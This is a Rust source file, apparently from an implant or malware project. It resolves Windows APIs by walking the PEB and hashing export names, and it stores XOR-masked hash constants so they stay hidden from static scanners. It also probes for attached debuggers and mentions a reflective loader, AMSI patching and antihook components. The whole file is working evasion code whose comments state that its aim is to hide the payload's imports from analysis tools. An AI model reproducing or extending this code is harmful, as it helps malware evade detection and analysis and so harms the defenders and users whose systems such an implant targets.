Files
2026-08-27 11:23:01 -06:00

266 lines
8.6 KiB
Rust

//! Runtime API resolution by hash — no import table entry needed.
//!
//! Many analysis tools triage an implant by its static import table. This module
//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB
//! module list and scanning export names with a rotating hash, exactly like the
//! reflective loader does. The guard never needs those APIs to appear in its
//! imports, so a scanner sees a much quieter PE.
//!
//! This is intentionally additive: the payload *already* worked via its normal
//! import table (fixed up by the reflective loader). For the guard, resolving a
//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them.
use core::ffi::c_void;
use core::ptr;
use crate::abi;
#[inline(always)]
fn ror1(v: u32) -> u32 {
v.wrapping_shr(1) | v.wrapping_shl(31)
}
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
while i < nchars {
let c = ptr::read_volatile((ptr + i * 2) as *const u16);
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add((c - 0x20) as u32);
} else {
h = h.wrapping_add(c as u32);
}
i += 1;
}
h
}
unsafe fn hash_ascii(ptr: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
loop {
let c = ptr::read_volatile((ptr + i) as *const u8) as u32;
if c == 0 {
return h;
}
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add(c - 0x20);
} else {
h = h.wrapping_add(c);
}
i += 1;
}
}
/// Find a module base by its base-name rotating hash.
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
if ldr == 0 {
return 0;
}
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
if head == 0 {
return 0;
}
let mut cur = head;
loop {
if cur == 0 {
return 0;
}
let entry = cur.wrapping_sub(0x10);
let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
if name_len > 0 {
let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
return ptr::read_volatile((entry + 0x30) as *const usize);
}
}
let next = ptr::read_volatile((entry + 0x10) as *const usize);
if next == head || next == cur {
break;
}
cur = next;
}
0
}
/// Resolve an export of `base` by its ror-hashed name.
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize;
let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize;
let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize;
let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize;
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
return 0;
}
for i in 0..num_names {
let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize;
if hash_ascii(base + name_rva) == want {
let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize;
let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize;
if fn_rva != 0 {
return base + fn_rva;
}
return 0;
}
}
0
}
unsafe fn peb_pointer() -> usize {
let peb: usize;
core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
peb
}
/// Public PEB pointer accessor (used by antihook's IAT walk).
pub unsafe fn peb_ptr() -> usize {
peb_pointer()
}
// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never
// appear in the binary. `r()` unmasks at runtime (black_box blocks the
// optimizer from folding the XOR back to the plain value).
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
#[inline(always)]
fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY;
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY;
const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY;
type CheckRemoteDebuggerFn =
unsafe extern "system" fn(process: usize, present: *mut i32) -> i32;
/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0.
pub unsafe fn check_remote_debugger() -> usize {
let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32));
if k32 == 0 {
return 0;
}
export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT))
}
/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present.
pub unsafe fn dyn_check_remote_debugger() -> bool {
let raw = check_remote_debugger();
if raw == 0 {
return false;
}
let f: CheckRemoteDebuggerFn = core::mem::transmute(raw);
let mut present: i32 = 0;
f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0
}
/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0.
pub unsafe fn nt_query_information_process() -> usize {
let peb = peb_pointer();
let ntdll = module_base_by_hash(peb, r(HASH_NTDLL));
if ntdll == 0 {
return 0;
}
export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS))
}
/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0.
pub unsafe fn virtual_protect() -> usize {
let peb = peb_pointer();
let k32 = module_base_by_hash(peb, r(HASH_KERNEL32));
if k32 == 0 {
return 0;
}
export_by_hash(k32, r(HASH_VIRTUALPROTECT))
}
/// ntdll module base, resolved by hash.
pub unsafe fn ntdll_base() -> usize {
module_base_by_hash(peb_pointer(), r(HASH_NTDLL))
}
/// Resolve any loaded module's base by its wide base-name hash
/// (used for e.g. amsi.dll during AMSI patching).
pub unsafe fn module_base_by_name_hash(want: u32) -> usize {
module_base_by_hash(peb_pointer(), want)
}
/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook).
pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize {
export_by_hash(base, want)
}
/// A resolved dynamic NT API handle (opaque pointer + castable fn).
type NtQueryFn = unsafe extern "system" fn(
process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32,
) -> i32;
type VirtualProtectFn = unsafe extern "system" fn(
addr: *mut c_void, size: usize, prot: u32, old: *mut u32,
) -> i32;
/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically
/// resolved pointer. Used by the guard to avoid importing it.
pub unsafe fn dyn_query_debug_flags() -> Option<u32> {
let raw = nt_query_information_process();
if raw == 0 {
return None;
}
let f: NtQueryFn = core::mem::transmute(raw);
let mut flags: u32 = 0;
let st = f(
abi::GetCurrentProcess(),
0x1f,
&mut flags as *mut u32 as *mut c_void,
core::mem::size_of::<u32>() as u32,
ptr::null_mut(),
);
if st == 0 {
Some(flags)
} else {
None
}
}
/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns
/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger
/// is attached), None on failure/no debugger.
pub unsafe fn dyn_query_debug_port() -> bool {
let raw = nt_query_information_process();
if raw == 0 {
return false;
}
let f: NtQueryFn = core::mem::transmute(raw);
let mut port: *mut c_void = ptr::null_mut();
let st = f(
abi::GetCurrentProcess(),
7,
&mut port as *mut *mut c_void as *mut c_void,
core::mem::size_of::<*mut c_void>() as u32,
ptr::null_mut(),
);
st == 0 && !port.is_null()
}
/// Dynamically downgrade an RWX region using the resolved VirtualProtect.
pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool {
let raw = virtual_protect();
if raw == 0 {
return false;
}
let f: VirtualProtectFn = core::mem::transmute(raw);
let mut old: u32 = 0;
f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0
}